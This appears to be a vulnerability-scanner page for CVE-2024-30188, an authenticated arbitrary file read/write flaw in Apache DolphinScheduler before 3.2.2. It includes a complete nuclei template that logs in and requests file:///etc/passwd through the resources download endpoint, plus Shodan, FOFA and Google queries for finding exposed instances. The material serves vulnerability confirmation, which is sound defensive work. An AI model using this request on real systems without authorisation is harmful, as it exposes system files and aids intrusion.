Apache DolphinScheduler >= 3.1.0, < 3.2.2 Resource File Read And Write

highseverity

8.1CVSS score

6%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

File read and write vulnerability in Apache DolphinScheduler, authenticated users can illegally access additional resource files. This issue affects Apache DolphinScheduler from 3.1.0 before 3.2.2.

Impact

Attackers can read and write arbitrary resource files, potentially compromising system integrity and confidentiality.

Fix

Update Apache DolphinScheduler to a version that patches the resource file access vulnerability.

How to confirm it

Send: POST /dolphinscheduler/login
Send: GET /dolphinscheduler/resources/download?fullName=file:///etc/passwd
Positive when: matches /root:.*:0:0:/ AND matches in content_type /application/json/ AND status 200

Run it with nuclei: nuclei -id CVE-2024-30188 -u <target>

The full check

id: CVE-2024-30188

info:
  name: Apache DolphinScheduler >= 3.1.0, < 3.2.2 Resource File Read And Write
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    File read and write vulnerability in Apache DolphinScheduler, authenticated users can illegally access additional resource files. This issue affects Apache DolphinScheduler from 3.1.0 before 3.2.2.
  impact: |
    Attackers can read and write arbitrary resource files, potentially compromising system integrity and confidentiality.
  remediation: |
    Update Apache DolphinScheduler to a version that patches the resource file access vulnerability.
  reference:
    - https://github.com/advisories/GHSA-4vv4-crw4-8pcw
    - https://github.com/Mr-xn/Penetration_Testing_POC
    - https://nvd.nist.gov/vuln/detail/CVE-2024-30188
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.1
    cve-id: CVE-2024-30188
    epss-score: 0.05987
    epss-percentile: 0.93371
    cpe: cpe:2.3:a:apache:dolphinscheduler:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    verified: true
    vendor: apache
    product: dolphinscheduler
    shodan-query: http.title:"dolphinscheduler"
    fofa-query: title="dolphinscheduler"
    google-query: intitle:"dolphinscheduler"
  tags: cve,cve2024,dolphinscheduler,lfi,apache,authenticated,vuln

variables:
  username: "{{username}}"
  password: "{{password}}"

flow: http(1) && http(2)

http:
  - raw:
      - |-
        POST /dolphinscheduler/login HTTP/1.1
        Host: {{Hostname}}
        Connection: keep-alive
        Content-Type: application/x-www-form-urlencoded

        userName={{username}}&userPassword={{password}}&ssoLoginUrl=

    extractors:
      - type: json
        name: sessionId
        part: body
        json:
          - ".data.sessionId"
        internal: true

  - raw:
      - |
        GET /dolphinscheduler/resources/download?fullName=file:///etc/passwd  HTTP/1.1
        Host: {{Hostname}}
        sessionId: {{sessionId}}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: regex
        part: content_type
        regex:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from